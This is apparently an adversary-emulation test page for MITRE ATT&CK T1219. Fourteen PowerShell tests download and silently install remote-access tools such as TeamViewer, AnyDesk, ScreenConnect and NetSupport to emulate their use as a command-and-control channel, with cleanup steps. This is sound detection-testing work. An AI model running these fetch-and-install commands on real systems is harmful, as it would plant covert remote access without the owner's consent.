T1219 - Remote Access Software
An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.(Citation: Symantec Living off the Land)(Citation: CrowdStrike 2015 Global Threat Report)(Citation: CrySyS Blog TeamSpy)
Remote access software may be installed and used post-compromise as an alternate communications channel for redundant access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary-controlled system.
Adversaries may similarly abuse response features included in EDR and other defensive tools that enable remote access.
Installation of many remote access software may also include persistence (e.g., the software's installation routine creates a [Windows Service](https://attack.mitre.org/techniques/T1543/003)). Remote access modules/features may also exist as part of otherwise existing software (e.g., Google Chrome’s Remote Desktop).(Citation: Google Chrome Remote Desktop)(Citation: Chrome Remote Desktop)
Atomic Tests
Atomic Test #1 - TeamViewer Files Detected Test on Windows
An adversary may attempt to trick the user into downloading teamviewer and using this to maintain access to the machine. Download of TeamViewer installer will be at the destination location when sucessfully executed.
Supported Platforms: Windows
auto_generated_guid: 8ca3b96d-8983-4a7f-b125-fc98cc0a2aa0
Attack Commands: Run with
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| Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\TeamViewer_Setup.exe https://download.teamviewer.com/download/TeamViewer_Setup.exe
$file1 = "C:\Users\" + $env:username + "\Desktop\TeamViewer_Setup.exe"
Start-Process -Wait $file1 /S;
Start-Process 'C:\Program Files (x86)\TeamViewer\TeamViewer.exe'
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Cleanup Commands:
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| $file = 'C:\Program Files (x86)\TeamViewer\uninstall.exe'
if(Test-Path $file){ Start-Process $file "/S" -ErrorAction Ignore | Out-Null }
$file1 = "C:\Users\" + $env:username + "\Desktop\TeamViewer_Setup.exe"
Remove-Item $file1 -ErrorAction Ignore | Out-Null
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Atomic Test #2 - AnyDesk Files Detected Test on Windows
An adversary may attempt to trick the user into downloading AnyDesk and use to establish C2. Download of AnyDesk installer will be at the destination location and ran when sucessfully executed.
Supported Platforms: Windows
auto_generated_guid: 6b8b7391-5c0a-4f8c-baee-78d8ce0ce330
Attack Commands: Run with
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| Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\AnyDesk.exe https://download.anydesk.com/AnyDesk.exe
$file1 = "C:\Users\" + $env:username + "\Desktop\AnyDesk.exe"
Start-Process $file1 /S;
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Cleanup Commands:
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| $file1 = "C:\Users\" + $env:username + "\Desktop\AnyDesk.exe"
Remove-Item $file1 -ErrorAction Ignore
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Atomic Test #3 - LogMeIn Files Detected Test on Windows
An adversary may attempt to trick the user into downloading LogMeIn and use to establish C2. Download of LogMeIn installer will be at the destination location and ran when sucessfully executed.
Supported Platforms: Windows
auto_generated_guid: d03683ec-aae0-42f9-9b4c-534780e0f8e1
Attack Commands: Run with
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| Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\LogMeInIgnition.msi https://secure.logmein.com/LogMeInIgnition.msi
$file1 = "C:\Users\" + $env:username + "\Desktop\LogMeInIgnition.msi"
Start-Process -Wait $file1 /quiet;
Start-Process 'C:\Program Files (x86)\LogMeIn Ignition\LMIIgnition.exe' "/S"
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Cleanup Commands:
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| get-package *'LogMeIn Client'* -ErrorAction Ignore | uninstall-package
$file1 = "C:\Users\" + $env:username + "\Desktop\LogMeInIgnition.msi"
Remove-Item $file1 -ErrorAction Ignore
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Atomic Test #4 - GoToAssist Files Detected Test on Windows
An adversary may attempt to trick the user into downloading GoToAssist and use to establish C2. Download of GoToAssist installer will be at the destination location and ran when sucessfully executed.
Supported Platforms: Windows
auto_generated_guid: 1b72b3bd-72f8-4b63-a30b-84e91b9c3578
Attack Commands: Run with
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| Invoke-WebRequest -OutFile C:\Users\$env:username\Downloads\GoToAssist.exe "https://launch.getgo.com/launcher2/helper?token=e0-FaCddxmtMoX8_cY4czssnTeGvy83ihp8CLREfvwQshiBW0_RcbdoaEp8IA-Qn8wpbKlpGIflS-39gW6RuWRM-XHwtkRVMLBsp5RSKp-a3PBM-Pb1Fliy73EDgoaxr-q83WtXbLKqD7-u3cfDl9gKsymmhdkTGsXcDXir90NqKj92LsN_KpyYwV06lIxsdRekhNZjNwhkWrBa_hG8RQJqWSGk6tkZLVMuMufmn37eC2Cqqiwq5bCGnH5dYiSUUsklSedRLjh4N46qPYT1bAU0qD25ZPr-Kvf4Kzu9bT02q3Yntj02ZA99TxL2-SKzgryizoopBPg4Ilfo5t78UxKTYeEwo4etQECfkCRvenkTRlIHmowdbd88zz7NiccXnbHJZehgs6_-JSVjQIdPTXZbF9T5z44mi4BQYMtZAS3DE86F0C3D4Tcd7fa5F6Ve8rQWt7pvqFCYyiJAailslxOw0LsGyFokoy65tMF980ReP8zhVcTKYP8s8mhGXihUQJQPNk20Sw&downloadTrigger=restart&renameFile=1"
$file1 = "C:\Users\" + $env:username + "\Downloads\GoToAssist.exe"
Start-Process $file1 /S;
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Cleanup Commands:
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| try{"$PathToAtomicsFolder/T1219/bin/GoToCleanup.ps1"} catch{}
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Atomic Test #5 - ScreenConnect Application Download and Install on Windows
An adversary may attempt to trick the user into downloading ScreenConnect for use as a C2 channel. Download of ScreenConnect installer will be in the Downloads directory.
Msiexec will be used to quietly insall ScreenConnect.
Supported Platforms: Windows
auto_generated_guid: 4a18cc4e-416f-4966-9a9d-75731c4684c0
Attack Commands: Run with
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| $installer = "C:\Users\$env:username\Downloads\ScreenConnect.msi"
Invoke-WebRequest -OutFile $installer "https://d1kuyuqowve5id.cloudfront.net/ScreenConnect_21.11.4237.7885_Release.msi"
msiexec /i $installer /qn
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Cleanup Commands:
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| $installer = "C:\Users\$env:username\Downloads\ScreenConnect.msi"
msiexec /x $installer /qn
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Atomic Test #6 - Ammyy Admin Software Execution
An adversary may attempt to trick the user into downloading Ammyy Admin Remote Desktop Software for use as a C2 channel.
Upon successful execution, Ammyy Admin will be executed.
Supported Platforms: Windows
auto_generated_guid: 0ae9e327-3251-465a-a53b-485d4e3f58fa
| Name | Description | Type | Default Value |
|——|————-|——|—————|
| Ammyy_Admin_Path | Path of Ammyy Admin executable | path | PathToAtomicsFolder\..\ExternalPayloads\ammyy.exe|
Attack Commands: Run with
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| Start-Process "#{Ammyy_Admin_Path}"
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Cleanup Commands:
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| Stop-Process -Name "Ammyy" -force -erroraction silentlycontinue
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Dependencies: Run with
Description: Ammyy Admin must exist on disk at the specified location (#{Ammyy_Admin_Path})
Check Prereq Commands:
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| if (Test-Path "#{Ammyy_Admin_Path}") {exit 0} else {exit 1}
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Get Prereq Commands:
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| New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://web.archive.org/web/20140625232737/http://www.ammyy.com/AA_v3.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\ammyy.exe" -UseBasicParsing
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Atomic Test #7 - RemotePC Software Execution
An adversary may attempt to trick the user into downloading RemotePC Software for use as a C2 channel.
Upon successful execution, RemotePC will be executed.
Supported Platforms: Windows
auto_generated_guid: fbff3f1f-b0bf-448e-840f-7e1687affdce
| Name | Description | Type | Default Value |
|——|————-|——|—————|
| RemotePC_Path | Path of RemotePC executable | path | PathToAtomicsFolder\..\ExternalPayloads\RemotePC.exe|
Attack Commands: Run with
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| Start-Process "#{RemotePC_Path}"
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Cleanup Commands:
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| Unregister-ScheduledTask -TaskName "RemotePC" -Confirm:$False -ErrorAction SilentlyContinue
Unregister-ScheduledTask -TaskName "RPCServiceHealthCheck" -Confirm:$False -ErrorAction SilentlyContinue
Unregister-ScheduledTask -TaskName "ServiceMonitor" -Confirm:$False -ErrorAction SilentlyContinue
Unregister-ScheduledTask -TaskName "StartRPCService" -Confirm:$False -ErrorAction SilentlyContinue
Stop-Process -Name "RemotePCPerformance" -force -erroraction silentlycontinue
Stop-Process -Name "RPCPerformanceService" -force -erroraction silentlycontinue
Stop-Process -Name "RemotePCUIU" -force -erroraction silentlycontinue
Stop-Process -Name "RPCDownloader" -force -erroraction silentlycontinue
Stop-Process -Name "RemotePCService" -force -erroraction silentlycontinue
Stop-Process -Name "RPCService" -force -erroraction silentlycontinue
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Dependencies: Run with
Description: RemotePC must exist on disk at the specified location (#{RemotePC_Path})
Check Prereq Commands:
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| if (Test-Path "#{RemotePC_Path}") {exit 0} else {exit 1}
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Get Prereq Commands:
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| New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://static.remotepc.com/downloads/rpc/140422/RemotePC.exe" -OutFile "#{RemotePC_Path}" -UseBasicParsing
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Atomic Test #8 - NetSupport - RAT Execution
A recent trend by threat actors, once a foothold is established, maintain long term persistence using third party remote services such as NetSupport to provide the operator with access to the network using legitimate services.
Supported Platforms: Windows
auto_generated_guid: ecca999b-e0c8-40e8-8416-ad320b146a75
| Name | Description | Type | Default Value |
|——|————-|——|—————|
| NetSupport_Path | Path to the NetSupport executable. | path | PathToAtomicsFolder\..\ExternalPayloads\T1219_NetSupport.exe|
Attack Commands: Run with
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| Start-Process "#{NetSupport_Path}" -ArgumentList "/S /v/qn"
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Cleanup Commands:
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| Stop-Process -Name "client32" -force -erroraction silentlycontinue
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Dependencies: Run with
Description: NetSupport must be downloaded and exist on the disk at the specified location. (#{NetSupport_Path})
Check Prereq Commands:
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| if (Test-Path "#{NetSupport_Path}") {exit 0} else {exit 1}
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Get Prereq Commands:
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| New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
(New-Object Net.WebClient).DownloadFile("https://nsproducts.azureedge.net/nsm-1270/en/Setup.exe","#{NetSupport_Path}")
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Atomic Test #9 - UltraViewer - RAT Execution
A recent trend by threat actors, once a foothold is established, maintain long term persistence using third party remote services such as UltraViewer to provide the operator with access to the network using legitimate services.
Supported Platforms: Windows
auto_generated_guid: 19acf63b-55c4-4b6a-8552-00a8865105c8
| Name | Description | Type | Default Value |
|——|————-|——|—————|
| UltraViewer_Path | Path to the UltraViewer executable. | path | PathToAtomicsFolder\..\ExternalPayloads\T1219_UltraViewer.exe|
Attack Commands: Run with
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| Start-Process -Wait -FilePath "#{UltraViewer_Path}" -Argument "/silent" -PassThru
Start-Process 'C:\Program Files (x86)\UltraViewer\UltraViewer_Desktop.exe'
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Cleanup Commands:
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| Stop-Process -Name "UltraViewer_Desktop" -Force -ErrorAction SilentlyContinue
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Dependencies: Run with
Description: Ultraviewer installer must be downloaded and exist on the disk at the specified location. (#{UltraViewer_Path})
Check Prereq Commands:
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| if (Test-Path "#{UltraViewer_Path}") {exit 0} else {exit 1}
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Get Prereq Commands:
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| New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
(New-Object Net.WebClient).DownloadFile("https://www.ultraviewer.net/en/UltraViewer_setup_6.5_en.exe","#{UltraViewer_Path}")
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Atomic Test #10 - UltraVNC Execution
An adversary may attempt to trick the user into downloading UltraVNC for use as a C2 channel.
Upon successful execution, UltraVNC will be executed.
Supported Platforms: Windows
auto_generated_guid: 42e51815-a6cc-4c75-b970-3f0ff54b610e
| Name | Description | Type | Default Value |
|——|————-|——|—————|
| UltraVNC_Viewer_Path | Path of UltraVNC Viewer executable | path | $env:ProgramFiles\‘uvnc bvba\UltraVnc\vncviewer.exe’|
Attack Commands: Run with
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| Start-Process #{UltraVNC_Viewer_Path}
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Cleanup Commands:
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| Stop-Process -Name "vncviewer" -force -erroraction silentlycontinue
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Dependencies: Run with
Description: UltraVNC must exist at (#{UltraVNC_Viewer_Path})
Check Prereq Commands:
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| if (Test-Path #{UltraVNC_Viewer_Path}) {exit 0} else {exit 1}
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Get Prereq Commands:
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| New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://www.uvnc.eu/download/1381/UltraVNC_1_3_81_X64_Setup.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\vncsetup.exe"
start-process "PathToAtomicsFolder\..\ExternalPayloads\vncsetup.exe" /silent
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Atomic Test #11 - MSP360 Connect Execution
An adversary may attempt to trick the user into downloading MSP360 Connect for use as a C2 channel.
Upon successful execution, MSP360 Connect will be executed.
Supported Platforms: Windows
auto_generated_guid: b1b8128b-c5d4-4de9-bf70-e60419274562
| Name | Description | Type | Default Value |
|——|————-|——|—————|
| MSP360_Connect_Path | Path of MSP360 executable | path | $env:ProgramFiles\Connect\Connect.exe|
| MSP360_Download_Url | URL to download MSP360 Connect from | url | |
Attack Commands: Run with
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| Start-Process #{MSP360_Connect_Path}
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Cleanup Commands:
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| Stop-Process -Name "Connect" -force -erroraction silentlycontinue
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Dependencies: Run with
Description: MSP360 must exist at (#{MSP360_Connect_Path})
Check Prereq Commands:
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| if (Test-Path #{MSP360_Connect_Path}) {exit 0} else {exit 1}
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Get Prereq Commands:
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| New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\msp360connect.exe" "#{MSP360_Download_Url}"
start-process "PathToAtomicsFolder\..\ExternalPayloads\msp360connect.exe" /S
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Atomic Test #12 - RustDesk Files Detected Test on Windows
An adversary may attempt to trick the user into downloading RustDesk and use this to maintain access to the machine.
Download of RustDesk installer will be at the destination location when successfully executed.
Supported Platforms: Windows
auto_generated_guid: f1641ba9-919a-4323-b74f-33372333bf0e
Attack Commands: Run with
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| $file = Join-Path $env:USERPROFILE "Desktop\rustdesk-1.2.3-1-x86_64.exe"
Invoke-WebRequest -OutFile $file https://github.com/rustdesk/rustdesk/releases/download/1.2.3-1/rustdesk-1.2.3-1-x86_64.exe
Start-Process -FilePath $file "/S"
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Cleanup Commands:
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| $file = Join-Path $env:USERPROFILE "Desktop\rustdesk-1.2.3-1-x86_64.exe"
Remove-Item $file1 -ErrorAction Ignore
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Atomic Test #13 - Splashtop Execution
An adversary may attempt to trick the user into downloading Splashtop for use as a C2 channel.
Upon successful execution, Splashtop will be executed.
Supported Platforms: Windows
auto_generated_guid: b025c580-029e-4023-888d-a42710d76934
| Name | Description | Type | Default Value |
|——|————-|——|—————|
| Splashtop_Path | Path of Splashtop executable | path | ${env:programfiles(x86)}\Splashtop\Splashtop Remote\Client for STP\strwinclt.exe|
Attack Commands: Run with
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| Start-Process "#{Splashtop_Path}"
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Cleanup Commands:
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| Stop-Process -Name "strwinclt" -force -erroraction silentlycontinue
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Dependencies: Run with
Description: Splashtop must exist at “#{Splashtop_Path}”
Check Prereq Commands:
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| if (Test-Path "#{Splashtop_Path}") {exit 0} else {exit 1}
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Get Prereq Commands:
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| New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\splashtop_install.exe" "https://download.splashtop.com/winclient/STP/Splashtop_Personal_Win_v3.6.6.0.exe"
start-sleep 30
start-process "PathToAtomicsFolder\..\ExternalPayloads\splashtop_install.exe" /S
start-sleep 30
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Atomic Test #14 - Splashtop Streamer Execution
An adversary may attempt to use Splashtop Streamer to gain unattended remote interactive access. Upon successful execution, Splashtop streamer will be executed.
Supported Platforms: Windows
auto_generated_guid: 3e1858ee-3550-401c-86ec-5e70ed79295b
| Name | Description | Type | Default Value |
|——|————-|——|—————|
| srserver_exe | Splashtop streamer installation executables | string | SRServer.exe|
Attack Commands: Run with
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| Start-Process -FilePath "C:Program Files (x86)\Splashtop\Splashtop Remote\Server\#{srserver_exe}"
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Dependencies: Run with
Description: Splashtop Streamer must be installed in the location
Check Prereq Commands:
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| if (Test-Path "C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\#{srserver_exe}") {exit 0} else {exit 1}
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Get Prereq Commands:
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| Write-Host Downloading Splashtop Streamer
New-Item -Type Directory "C:\Temp\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://download.splashtop.com/win/Splashtop_Streamer_Win_INSTALLER_v3.6.4.1.exe" -OutFile "C:\Temp\ExternalPayloads\Splashtop.exe"
Write-Host Installing Splashtop Streamer
Start-Process "c:\Temp\ExternalPayloads\Splashtop.exe" -Wait -ArgumentList "/s"
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